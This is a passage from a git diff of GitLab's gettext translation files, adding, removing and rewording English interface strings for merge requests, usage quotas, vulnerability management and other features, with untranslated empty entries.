msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/hy_AM/gitlab.po b/locale/hy_AM/gitlab.po
index e841e7a470a..5176cafc52d 100644
--- a/locale/hy_AM/gitlab.po
+++ b/locale/hy_AM/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hy-AM\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
